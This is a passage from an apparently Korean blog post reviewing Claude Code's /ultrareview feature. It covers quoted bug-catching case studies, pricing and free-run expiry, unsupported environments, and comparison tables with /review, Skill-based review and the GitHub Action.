&lt;p data-ke-size=&quot;size16&quot;&gt;너무 안타깝게 좀 복잡한 소스개발건에 대한, 그리고 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;대량 머지 요청&lt;/b&gt;&lt;/span&gt;에 대해 ultrarivew를 걸껄 내가 잘 못 한 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;너무 죄송스럽게도 얼마나 대단한지 알려 드리지 못 한 것 같다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 다른분들의 커뮤니티 사례 또는 지인분들께 부탁하여 공유 드릴 수 있도록 하겠습니다!&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 5 --&gt;
&lt;h2 id=&quot;section5&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 실전 적용 사례 &amp;mdash; 치명적 버그 탐지 3가지&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;1024&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LR36v/dJMcaaE5FAx/4uZPRdqyDXn3KHSr5JDTjk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LR36v/dJMcaaE5FAx/4uZPRdqyDXn3KHSr5JDTjk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LR36v/dJMcaaE5FAx/4uZPRdqyDXn3KHSr5JDTjk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLR36v%2FdJMcaaE5FAx%2F4uZPRdqyDXn3KHSr5JDTjk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2000&quot; height=&quot;1024&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;사례 1: 인증 장애를 머지 전에 막다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Anthropic 블로그는 내부 운영 사례를 구체적으로 공개했다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;In one case, a one-line change to a production service looked routine and was the kind of diff that normally gets a quick approval. But Code Review flagged it as critical. The change would have broken authentication for the service, a failure mode that's easy to read past in the diff but obvious once pointed out. It was fixed before merge, and the engineer shared afterwards that they wouldn't have caught it on their own.&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(TrueNAS&amp;nbsp;오픈소스&amp;nbsp;미들웨어의&amp;nbsp;ZFS&amp;nbsp;암호화&amp;nbsp;리팩토링&amp;nbsp;작업&amp;nbsp;중,&amp;nbsp;코드&amp;nbsp;리뷰를&amp;nbsp;통해&amp;nbsp;기존&amp;nbsp;코드에&amp;nbsp;숨어&amp;nbsp;있던&amp;nbsp;버그가&amp;nbsp;드러났습니다.&amp;nbsp;타입&amp;nbsp;불일치로&amp;nbsp;인해&amp;nbsp;sync가&amp;nbsp;수행될&amp;nbsp;때마다&amp;nbsp;암호화&amp;nbsp;키&amp;nbsp;캐시가&amp;nbsp;무음으로&amp;nbsp;초기화되는&amp;nbsp;문제였는데,&amp;nbsp;이는&amp;nbsp;PR에서&amp;nbsp;직접&amp;nbsp;수정한&amp;nbsp;코드가&amp;nbsp;아니라&amp;nbsp;그&amp;nbsp;주변&amp;nbsp;코드에&amp;nbsp;잠재되어&amp;nbsp;있던&amp;nbsp;이슈였습니다.&amp;nbsp;이런&amp;nbsp;종류의&amp;nbsp;문제는&amp;nbsp;일반적으로&amp;nbsp;변경된&amp;nbsp;diff만&amp;nbsp;확인하는&amp;nbsp;인간&amp;nbsp;리뷰어라면&amp;nbsp;쉽게&amp;nbsp;찾아내기&amp;nbsp;어려운&amp;nbsp;케이스입니다.)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 줄짜리 변경이 프로덕션 서비스의 인증을 통째로 깨뜨릴 수 있었다. 사람 리뷰어가 빠르게 승인하고 넘겼을 diff를 Code Review가 critical로 표시했고, 머지 전에 수정됐다. 담당 엔지니어 스스로도 잡지 못했을 것이라고 인정한 케이스다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;사례 2: ZFS 암호화 리팩터에서 잠재 버그 발굴&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오픈소스 프로젝트에서도 사례가 확인됐다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;On a ZFS encryption refactor in TrueNAS's open-source middleware, Code Review surfaced a pre-existing bug in adjacent code: a type mismatch that was silently wiping the encryption key cache on every sync. It was a latent issue in code the PR happened to touch, the kind of thing a human reviewer scanning the changeset wouldn't immediately go looking for.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이게 사실 더 의미 있는 부분이다. PR이 직접 건드리지 않은 인접 코드에서 타입 불일치를 찾아냈다. 매 동기화마다 암호화 키 캐시가 날아가고 있었는데, diff를 훑어보는 사람 리뷰어라면 굳이 그 코드를 들여다볼 이유가 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;사례 3: 커버리지 격차 &amp;mdash; 실질 리뷰가 16%에서 54%로&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://claude.com/blog/code-review&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Code Review 도입 전 Anthropic 내부에서는 PR의 16%만 실질적 리뷰 코멘트를 받았다. 도입 후 이 비율이 54%로 높아졌다&lt;/a&gt;. 코드 산출량이 200% 증가한 상황에서 사람 리뷰어가 모든 PR을 커버하기는 구조적으로 어렵다. 멀티 에이전트 자동화가 이 격차를 메운 것이다.&lt;/p&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 6 --&gt;
&lt;h2 id=&quot;section6&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 요금제 및 제한사항&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;요금 구조 (2026-04-24 기준)&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;만료 임박&lt;/b&gt;: Pro/Max 무료 3회 실행 기간이 &lt;b&gt;2026-05-05(11일 후)&lt;/b&gt;에 종료된다. 아직 무료 실행을 사용하지 않은 Pro/Max 구독자라면 만료 전에 사용하는 것을 권장한다. 만료 후에는 회당 $5~$20이 추가 사용량으로 과금된다. 요금 정보는 research preview 기간 중 변경될 수 있으므로, 실행 전 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/ultrareview&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 ultrareview 문서&lt;/a&gt;에서 최신 정보를 확인한다.&lt;/p&gt;
&lt;/div&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;플랜&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;무료 실행&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;무료 종료 후&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Pro&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;3회 (2026-05-05까지)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;추가 사용량으로 청구&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Max&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;3회 (2026-05-05까지)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;추가 사용량으로 청구&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Team&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;없음&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;추가 사용량으로 청구&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Enterprise&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;없음&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;추가 사용량으로 청구&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/ultrareview&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Pro/Max 구독자는 3회 무료 실행을 제공받는다. 이 3회는 계정당 1회성 할당으로, 갱신되지 않으며 2026년 5월 5일에 만료된다. 무료 실행 소진 또는 만료 후에는 변경 크기에 따라 약 $5~$20이 추가 사용량으로 과금된다&lt;/a&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Team/Enterprise용 PR 통합 Code Review는 토큰 사용량 기반으로 청구되며 PR 크기&amp;middot;코드베이스 복잡도&amp;middot;검증 이슈 수에 따라 평균 $15~$25가 소요된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;추가 사용량(extra usage) 활성화 필수&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1936&quot; data-origin-height=&quot;1068&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Mcjnb/dJMb99MTaBr/LkMbaswKT7Gy3l9llSFib0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Mcjnb/dJMb99MTaBr/LkMbaswKT7Gy3l9llSFib0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Mcjnb/dJMb99MTaBr/LkMbaswKT7Gy3l9llSFib0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMcjnb%2FdJMb99MTaBr%2FLkMbaswKT7Gy3l9llSFib0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1936&quot; height=&quot;1068&quot; data-origin-width=&quot;1936&quot; data-origin-height=&quot;1068&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;유료 리뷰를 실행하기 전에 계정 또는 조직에서 추가 사용량(extra usage)이 활성화되어 있어야 한다. 미활성화 시 Claude Code가 실행을 차단하고 결제 설정 페이지로 안내한다. 아래 명령으로 현재 설정을 확인하거나 변경할 수 있다.&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 추가 사용량 설정 확인&amp;middot;변경
/extra-usage&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;제약 사항&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;/ultrareview&lt;/code&gt;를 사용할 수 없는 환경은 공식 문서에 명시되어 있다. 2026-04-24 현재 최신 버전(v2.1.119) 기준으로 변경 없이 유지 중이다.&lt;/p&gt;
&lt;ul style=&quot;padding-left: 24px; margin: 15px 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Amazon Bedrock으로 Claude Code를 사용하는 경우&lt;/li&gt;
&lt;li&gt;Google Cloud Vertex AI로 Claude Code를 사용하는 경우&lt;/li&gt;
&lt;li&gt;Microsoft Foundry로 Claude Code를 사용하는 경우&lt;/li&gt;
&lt;li&gt;Zero Data Retention(ZDR)을 활성화한 조직&lt;/li&gt;
&lt;li&gt;self-hosted GitHub Enterprise Server 저장소 (PR 모드 시)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 7 --&gt;
&lt;h2 id=&quot;section7&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. /review vs /ultrareview vs Skill 기반 리뷰 비교&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1926&quot; data-origin-height=&quot;990&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bO3Z8h/dJMcaf0D7HF/oQQuM5bUrFKb7Fk6G9JN1K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bO3Z8h/dJMcaf0D7HF/oQQuM5bUrFKb7Fk6G9JN1K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bO3Z8h/dJMcaf0D7HF/oQQuM5bUrFKb7Fk6G9JN1K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbO3Z8h%2FdJMcaf0D7HF%2FoQQuM5bUrFKb7Fk6G9JN1K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1926&quot; height=&quot;990&quot; data-origin-width=&quot;1926&quot; data-origin-height=&quot;990&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;/review와 /ultrareview 공식 비교표&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 문서는 두 명령어의 차이를 아래와 같이 정리한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;&lt;code&gt;/review&lt;/code&gt;&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;&lt;code&gt;/ultrareview&lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;실행 위치&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;로컬 세션&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;원격 클라우드 샌드박스&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;깊이&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;단일 패스 리뷰&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;독립 검증 포함 멀티 에이전트 플릿&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;소요 시간&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;수초~수분&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;약 5~10분&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;비용&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;일반 사용량 포함&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;3회 무료, 이후 약 $5~$20 추가 과금&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;결과 검증&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;단일 패스&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Verify 에이전트가 독립 재현 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;적합 상황&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;작업 중 빠른 피드백&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;상당한 변경 머지 전 심층 검증&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 줄로 요약하면: &lt;code&gt;/review&lt;/code&gt;는 속도를 최적화하고, &lt;code&gt;/ultrareview&lt;/code&gt;는 신뢰도를 최적화한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Skill 기반 코드 리뷰와의 차이&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1910&quot; data-origin-height=&quot;986&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/W0sGE/dJMcagyuljc/aWgf93AaKAgjm1zTarrLU0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/W0sGE/dJMcagyuljc/aWgf93AaKAgjm1zTarrLU0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/W0sGE/dJMcagyuljc/aWgf93AaKAgjm1zTarrLU0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FW0sGE%2FdJMcagyuljc%2FaWgf93AaKAgjm1zTarrLU0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1910&quot; height=&quot;986&quot; data-origin-width=&quot;1910&quot; data-origin-height=&quot;986&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;Claude Code에는 사용자가 직접 정의한 커스텀 Skill로 코드 리뷰를 수행하는 방법도 있다. Anthropic 블로그는 &lt;code&gt;/ultrareview&lt;/code&gt;(및 Code Review)가 오픈소스 Claude Code GitHub Action보다 더 심층적이고 더 비싼 선택지라고 명시하며, GitHub Action은 여전히 오픈소스로 제공된다고 밝혔다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;내장 /ultrareview&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;Skill 기반 리뷰&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;Claude Code GitHub Action&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;설정&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;제로 설정&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;커스텀 CLAUDE.md 작성 필요&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;.github/workflows 설정 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;실행 환경&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;원격 샌드박스&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;로컬 세션&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;GitHub Actions 러너&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;거짓 양성 필터&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Verify 에이전트 내장&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;해당 없음&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;해당 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;비용&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;$5~$20/회 (무료 3회 제공)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;일반 사용량 포함&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;오픈소스, 별도 API 비용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;커스터마이징&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;불가&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;자유롭게 정의 가능&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;워크플로 수준 설정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;GitHub 인라인 코멘트&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;미지원 (CLI 기준)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;해당 없음&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;지원&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 줄로 요약하면: &lt;code&gt;/ultrareview&lt;/code&gt;는 설정 없이 즉시 쓸 수 있는 심층 리뷰이고, Skill 기반 리뷰는 팀의 리뷰 기준을 완전히 제어하고 싶을 때 선택한다.&lt;/p&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 7-1 --&gt;
&lt;h2 id=&quot;section7-1&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7-1. 비용 논란 &amp;mdash; 커뮤니티 반응&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;요금 체계 변경에 대한 혼란&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요금 구조와 관련해 커뮤니티에서 의미 있는 반응이 나왔다. &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://simonwillison.net/2026/Apr/22/claude-code-confusion/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Simon Willison의 기술 블로그(2026-04-22)&lt;/a&gt;는 Claude Code 요금 체계 변경에 대한 커뮤니티 혼란을 정리했다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;A whole lot of people got scared or angry or both that a service they relied on was about to be rug-pulled. There really is a significant difference between $20/month and $100/month for most people, especially outside of higher salary countries.&quot;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;/div&gt;
